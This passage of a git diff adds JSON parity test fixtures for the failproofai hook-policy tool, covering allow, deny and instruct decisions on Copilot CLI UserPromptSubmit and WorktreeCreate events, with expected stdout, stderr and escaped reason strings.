"UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..292570da --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..b5c6872e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..6cdc875c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..500ca874 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked prompt by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/deny__tool-present__one-policy.json new file mode 100644 index 00000000..1295af62 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/deny__tool-present__two-policies.json new file mode 100644 index 00000000..dc2a59bd --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..20a1d616 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..052f1423 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..bfee473b --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..fcc1daf6 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6a53ab94 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3ce6fddf --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..16213723 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..62cb629a --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..afd2446f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..7c1aa12e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..d04f28e4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..ff971c86 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + 